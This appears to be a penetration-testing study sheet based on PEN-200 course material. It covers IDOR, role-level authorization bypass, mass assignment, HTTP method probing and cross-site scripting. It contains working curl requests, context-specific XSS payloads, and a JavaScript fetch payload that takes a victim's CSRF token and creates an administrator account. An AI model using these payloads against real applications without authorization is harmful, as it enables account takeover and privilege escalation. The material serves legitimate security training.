← Complete task index · Workspace

Web Access Control, API Logic and XSS

← Stage index · Web mapping · Quick sheet · Mechanics | Strategy map | Study methods: Turn application weaknesses into access

Use when: the mapped application exposes object identifiers, roles/properties, privileged functions or user-controlled content rendered in a browser.

Object-level authorization / IDOR

Use two controlled lab identities and one object owned by each:

GET /api/orders/OBJECT_B HTTP/1.1
Host: DOMAIN
Authorization: Bearer USER_A_TOKEN
  1. Save user A's successful request for object A.
  2. Change only the path/query/body object reference to object B.
  3. Keep A's token.
  4. Verify disclosure or the intended update/delete effect against B's object.

Decisive output: data or a state change belonging to B under A's context. A different error or 200 wrapper is not enough.

Function- and role-level authorization

Replay the same operation as:

anonymous -> ordinary user -> alternate ordinary user -> administrator

Compare UI and API paths, then test the legitimate method variants suggested by captured traffic or documentation.

curl -ski -b user-a.cookies http://TARGET:PORT/admin/PATH
curl -ski -X POST -b user-a.cookies -H 'Content-Type: application/json' -d '{"action":"EXPECTED_ACTION"}' http://TARGET:PORT/api/admin/PATH

Failure cue: a route name containing admin does not establish a bypass. Verify a privileged read or action under the lower-privileged identity.

Mass assignment / excessive properties

Start with a valid captured registration/update request and add one server-owned property:

curl -ski -X POST -H 'Content-Type: application/json' -d '{"username":"TEST_USER","password":"TEST_PASSWORD","role":"administrator"}' http://TARGET:PORT/api/v1/register

Decisive output: authenticate as the new/updated identity and perform an administrator-only action. An echoed or stored role field may be ignored by authorization logic.

Variant — method mismatch reveals a valid route
curl -ski http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X OPTIONS http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X PUT -H 'Authorization: Bearer TOKEN' -H 'Content-Type: application/json' -d '{"password":"NEW_PASSWORD"}' http://TARGET:PORT/api/v1/users/USER/password

Use PUT/PATCH only when a 405, Allow header, documentation or JavaScript behavior supports it. Verify the new credential through a separate login.

XSS: prove browser execution in the right context

First inject a unique text marker and inspect where it appears in raw HTML and the DOM. Then use a controlled proof appropriate to the context:

<img src=x onerror=alert(document.domain)>

Classify the path:

  • reflected: victim must visit a crafted request;
  • stored: payload persists and a relevant user later renders it;
  • DOM-based: client-side code moves controlled data into an executable DOM sink.

Decisive output: JavaScript executes under the expected application origin and viewer context. Reflection or HTML display alone is not XSS.

Match the proof to the observed parser context rather than trying a random payload list:

Observed insertion contextMinimal lab proof candidateWhat failure means
HTML element body<svg onload=alert(document.domain)>Sanitization, CSP or non-executable render context
Double-quoted attribute" autofocus onfocus="alert(document.domain)Quote may be encoded or event attribute stripped
Existing JavaScript string';alert(document.domain);//Input may be JSON/string escaped or not reach executable script
URL-decoded parameterpercent-encode the context-matched payload in the requestDecode layer or client normalization differs

Image/SVG/HTML5 event variants are alternative parser entry points, not evidence of distinct vulnerabilities. Inspect the resulting DOM and browser console/CSP before adding encoding or filter-bypass complexity.

Turn XSS into useful application privilege

HttpOnly prevents JavaScript from reading that cookie, but same-origin XSS may still issue authenticated requests from the victim browser. Recreate a legitimate privileged workflow and obtain its anti-CSRF value first:

fetch('/admin/users/new')
  .then(r => r.text())
  .then(t => {
    const token = new DOMParser().parseFromString(t, 'text/html')
      .querySelector('input[name="csrf"]')?.value;
    return fetch('/admin/users', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: new URLSearchParams({username:'NEW_USER', password:'NEW_PASSWORD', role:'administrator', csrf:token})
    });
  });

Prerequisites: the payload is rendered by a suitably privileged victim, under the correct origin; the paths/fields come from captured normal behavior; CSP and application logic allow execution; the action is permitted in the victim session.

Verification: authenticate as NEW_USER and perform one administrator-only action. If application administration exposes a legitimate plugin/template/file-upload function, continue with web file handling and re-prove server execution.

Failure cues

  • input appears encoded as &lt;...&gt;: output encoding worked in that context;
  • script runs only for the tester: reflected/self-XSS without a delivery/viewer path;
  • stored marker exists but script never runs: wrong render context, sanitization or CSP;
  • cookie cannot be read: check HttpOnly, but do not infer that authenticated same-origin requests are blocked;
  • privileged request returns success text but no state changes: token/field/role may be wrong; verify independently;
  • user A reads only A's data after ID change: object-level control held in that tested context.

Handoffs

  • new password/token/account -> Block 5 plus authenticated Block 3 mapping;
  • product/plugin feature requiring public code -> Block 6;
  • admin upload/template editor -> web file handling;
  • verified server command execution -> Block 7;
  • no useful viewer/action -> record XSS proof and return to higher-priority server-side inputs.

Sources

Supplied PEN-200 Ch 8.3-8.4, pp225-244; reviewed getSH Web/XSS route; OWASP IDOR testing; OWASP stored XSS testing.